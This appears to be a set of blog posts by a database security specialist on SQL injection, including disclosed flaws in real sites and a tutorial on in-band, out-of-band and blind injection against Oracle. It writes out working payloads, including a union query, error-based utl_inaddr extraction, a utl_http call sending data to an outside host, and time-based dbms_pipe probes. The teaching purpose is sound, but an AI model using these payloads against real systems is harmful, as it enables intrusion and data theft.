Musings on Database Security

Well, that was fun. I had a great time at UKOUG at Birmingham. Met friends, enjoyed the parties and gave a SQL Injection security presentation. All in all, I think it went well – no demos crashing, etc.

It’s pretty much the same presentation I gave at in the hacking exposed series so you can download it here with all the scripts and the demo app.

Presentation Attendies

Here is the presentation and demo application I’ve used for the hacking exposed webinar I did on April 14th. The download file includes an eclipse project and instructions under the “etc” folder. It also includes a few scripts I used for blind SQL injection and worm infection.

Tell me what you think…

HackingExposed

McAfee just posted a threat brief we created regarding the LizaMoon attack spreading through vulnerable web sites. Thanks to Vadim and our red team for providing the material and Andy for doing the proofing and adding his words of wisdom. As always, the simple way to solve SQL injection is to use bind variables.

On another topic, I’m presenting another “Hacking Exposed” session with McAfee tomorrow (4/14/2011) at 11am PDT. This session is going to demonstrate many techniques used by hackers to exploit SQL injection (with focus on Oracle) including some new blind time-based SQL injection options. Please register, it’s free!

I guess this is somewhat ironical. At least it was nothing simple as in-band SQL Injection via errors or directly. It just goes to show you that any site can be vulnerable to attacks, even guys that write DB engines for a living. On the other hand, I’m sure that the sites were not created by the same guys who work on the database.

The answer to SQL Injection is very simple – use BIND VARIABLES, for Pete’s sake. It will cover 99% of your use-cases and for the other 1%, consider the security implications!

A really well written blog post from Mike Smithers about the need to validate data from all sources – also coming from the database.

Good one…

I’ve talked about displaying errors from the database on the user screen a while ago. In my opinion, this is definitely a big no-no and a security problem just waiting to happen.

As some of you know, I have an iPhone (and I like it a lot, but that’s another story). I’ve installed a nice little game called Tap Tap Revenge from Tapulous, a fairly known company and game in the iPhone scene. Immediately after installation, it required me to register or login.

Here is the error I got  trying to click on a email link trying to reclaim my username (I changed the error a bit):

Warning: mysql_connect() [function.mysql-connect]: Too many connections in /var/www/html/tapservices/v1/lib/tapsql.php on line 49

Warning: mysql_select_db(): supplied argument is not a valid MySQL-Link resource in /var/www/html/tapservices/v1/lib/tapsql.php on line 50

Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in /var/www/html/tapservices/v1/lib/tapsql.php on line 94
INSERT INTO tapulous.devices (user_id, device_id, time) VALUES (‘xxxx’, ‘yyyy’, NOW()) ON DUPLICATE KEY UPDATE user_id=’xxxx’, time=NOW()
Too many connections

Hmmm…

Let’s count how many details we can get from the error message:

• They are using PHP
• They are using MySQL
• They probably use Apache on Linux or some other *nix variant
• We know the directory structure (and also that it’s v1)
• They have the SQL code separated in a file called tapsql.php
• The MySQL server is not configured correctly with regards to the number of connections (or the connection pool is not configured correctly)
• The database for Tapolous data is called tapolous (shocking, I know)
• The table for the devices is called devices (another shock)
• I did not post the link I clicked but if we examine the link and the INSERT statement in the error, it’s easy to see that user input is directly concatenated into the query – this one is really shocking – SQL Injection, anyone???

I’m sure that if you think a bit, you can find even more details in the error message but the last one is the most important one. I would have thought that in this day and age everybody is using bind variables. The first try to SQL Inject the link succeeded, of course. This is a popular application (and site) with a lot of registered users (including me) and having our details out there in the database does not inspire confidence.

I, of course, notified Tapulous immediately and received an email saying that the problem was fixed. Otherwise, I would not have written anything.

Oh, and looking at the original link and the SQL command being executed, I believe it’s very easy to write a small script (shell, Python, just choose your favorite) to iterate on all users and associate all the usernames with your own device…

I’d love to hear your thoughts.

I’m doing a lot of presentations where I mention SQL injection and even show detailed examples of both injecting applications and injecting stored program units within the database.

What I’d like to do in this post is describe SQL injection types, give concrete examples for a web applications and Oracle and talk a bit about blind SQL injection with Oracle as the back-end database.

Let’s start with a simple example

Assuming an application (web or client/server) has a login page that tries to validate users by matching their username and password with an existing row in a database table called user_details. The table contains columns user_name and password. A naive implementation of the database layer would be something like the following Java code:

Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(
"select * from user_details where user_name = '" + username + "'
and password = '" + password + "'");

Given that “username” and “password” are input fields directly passed from user input without any processing, any astute reader can notice the problem in this code.
All the would-be hacker is required to do is pass in “‘ or 1=1 –” and he will be logged in with the first user in the table.
In the next paragraphs, we will explore various techniques a hacker can use to attack such vulnerable code as the above.

SQL Injection types

Roughly speaking, SQL injection has three general classes that are divided into many subclasses. The three classes are In-Band, Out-of-Band and Inference.

In-Band

This is,by far, the easiest attack class of SQL injection. This attack is valid if the application can be manipulated to return different results than expected directly to the invoker by using techniques such as unions or error manipulation.
Taking the example from above, let’s say that the application displays the first name in the upper right corner of the screen. Now, all we have to do is to make sure that the first name returned is something we control.
Passing username as – “‘ and 1=0 union select banner from v$version where rownum = 1 –” should get us started.
Of course, at first, you will receive errors because the number of columns is not the same between the first and the second part of the statement so passing in additional nulls or ’1′ values in the second select should solve the problem.
Using a different technique might be even easier, depending on the application implementation. Instead of trying to match the exact format of the vulnerable statement and guessing what columns are displayed, we can use error manipulation to retrieve the requested information. If the application displays error messages from the database layer directly to the screen, all we have to do is to create an error in the statement with hacker controlled text and read the results. Fortunately for the would-be hackers, Oracle has many options to generate hacker-controlled errors. One such example (the most known one) is using UTL_INADDR.
Again, taking the example from above, passing username as – “‘ or 1 = utl_inaddr.get_host_name((select banner from v$version where rownum = 1)) –” would generate the following statement: “select * from user_details where user_name = ” or 1 = utl_inaddr.get_host_name((select banner from v$version where rownum = 1)) — and password = ”” which will generously give the following error on the screen:
ERROR at line 1:

ORA-29257: host Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 -

64bit Production unknown

ORA-06512: at “SYS.UTL_INADDR”, line 4

ORA-06512: at “SYS.UTL_INADDR”, line 35

ORA-06512: at line 1

On recent Oracle versions, this only works if the database user has permissions to access the package and is granted the relevant ACLs but there are other options to use instead of UTL_INADDR like CTXSYS.DRITHSX.SN and others.
It should be noted that Oracle, unlike other databases, does not allow multiple statements separated by ‘;’ so many attack techniques from SQL server and other databases are not possible.

Out-of-Band

If the application developers were more security minded and prevented error codes from being displayed, and the injection point cannot be used with unions as data is not displayed to the user, the hackers can revert to a different class of SQL injection using the Out-of-Band attack. In this attack vector, information is being sent to a hacker controlled server using the network or the file system. Oracle provides several packages and types that can be used to send information out of the database. Examples include HTTPURITYPE, utl_http, utl_tcp, utl_inaddr (DNS smuggling), utl_file, utl_smtp, etc.
Using the example above, the attack would be passing into username the following: “‘ or ’1′ = utl_http.request(‘http://www.sentrigo.com/’ || (select banner from v$version where rownum = 1)) –” and since the site is controlled by the hacker all the hacker really needs to do is get the requests from his web server logs.

Inference (Blind SQL Injection)

Finally, we are coming to the point of this post.
If both In-Band and Out-of-Band options are not possible, the hacker is left with inference attacks. The most common blind SQL injection attack is using timing to infer information about the database. In other words, the hacker injects a question / guess and if the question is true makes the database delay the response. Unlike SQL Server, where one can inject the “WAITFOR DELAY” command, Oracle does not allow multiple commands and dbms_lock.sleep is not a function in Oracle so you cannot inject it into the statement. In all the examples I’ve seen for Oracle, long operations are traditionally used. Taking the example above, one can pass username: “‘ or 1 = case when substr(user, 1, 1) = ‘S’ then (select count(*) from all_objects) else 1 end –” and if the response if slower than usual we now know that the database user we are running with starts with ‘S’.
But, this looks a bit messy as you depend too much on DBMS side effects and also can alert the DBA that something fishy is going on.
Another technique that comes to mind in delaying the database is using commands that receive a timeout such as DBMS_PIPE or DBMS_ALERT. So, the above can be rewritten as following: “‘ or 1 = case when substr(user, 1, 1) = ‘S’ then dbms_pipe.receive_message(‘kuku’, 10) else 1 end –”. Since no message is coming on the “kuku” pipe, this will delay the command for 10 seconds exactly (or almost exactly) and then return to the caller.
I was surprised when I couldn’t find any such example on the web.
Using this technique is only possible if the database user has permissions to execute DBMS_PIPE but I’ve seen many databases where this is granted to public.
Looking at 11g, there are many functions that receive a TIMEOUT parameter so it’s reasonable to assume that one of them would be available.
Using this technique, the hacker can precisely (more or less) determine what branch his injection has taken.

What do you think? Is using timeouts as delays for blind SQL injection a usable technique?

OK, it looks like this was a test site but nevertheless it makes you wonder.

Leaving web application vulnerable to SQL injection and entire databases out there without protection is a sure way to get yourself hacked. It doesn’t even matter if the site was a test site (I hope it was) but we’ve seen many cases where access to a machine on the company DMZ was followed by getting control of the machine and getting further inside into the company (remember Heartland?).

Looks like Yahoo! Local was vulnerable to SQL injection. It turns out that Yahoo! Local was using MySQL 5 and was not securely configured (allowing load_file).

Again, this proves that it’s enough to have a single SQL injection vulnerability to open the gate for a complete takeover.

Following the resent news that the Heartland breach initially started from a simple SQL injection attack this just proves that SQL injection is still alive and kicking.

I wonder if Yahoo! Local was developed using good development practices like using bind-variables, sanitizing input and output, never displaying errors on screen and so on. Looks like the site was developed in PHP. Come on guys, look at the prepare and bind methods here. It’s easy enough.

Notice the URL in the images – amazing how easy this is!

I recently had a discussion with our development team about displaying stack traces to the customer.
Looking at this from a support point of view, no doubt that if a customer can tell support exactly what the problem is, it will shorten the investigation and will allow support to pinpoint the issue faster. On the other hand, looking at this from a security point of view (my argument), displaying stack traces can disclose a lot of information about the internal structure and workings of the application and this is something an attacker can use. Also, SQL injection attacks can use errors returned from the database to retrieve information from the database. For SQL injection, in-band attacks are the easiest to exploit and displaying errors allows that. If nothing is displayed to the attacker except a generic message, the attacker is forced to try out-of-band or even blind SQL injections which are harder to use.

Here is an example I got from Guy Lichtman after the discussion while he was browsing MSNBC.com on his mobile.

System.NullReferenceException: Object reference not set to an instance of an object.
at Msnbc.Workbench.Rendering.FrontComponents.MobileVideo.GetVideo(HttpContext context, MobileVideoData mobileVideoData, Boolean isMappedId) in
d:\tfsbuild\techno\integration\Sources\WB\Site\Rendering\Bin-Sources\Msnbc.Workbench.Rendering.FrontComponents\MobileVideo.cs:line 242 at Msnbc.Workbench.Rendering.FrontComponents.MobileVideo.Process(HttpContext context, Object componentData, WorkAreas workArea, String device, Site site, PageParameters pageParams) in
d:\tfsbuild\techno\integration\Sources\WB\Site\Rendering\Bin-Sources\Msnbc.Workbench.Rendering.FrontComponents\MobileVideo.cs:line 155

An attacker can learn from the exception some info regarding file system layout and code package naming conventions. It is then possible to do some Google hacking on the package name and find out even more…

Google hacking

Eventually, we agreed on the following course of action:
1. Generate a public/private key-pair for support
2. Distribute the public key with our software
3. Encrypt the stack trace with the public key before displaying on screen
4. Create a small utility for support to decrypt the stack traces when received from customers

How did you solve this problem?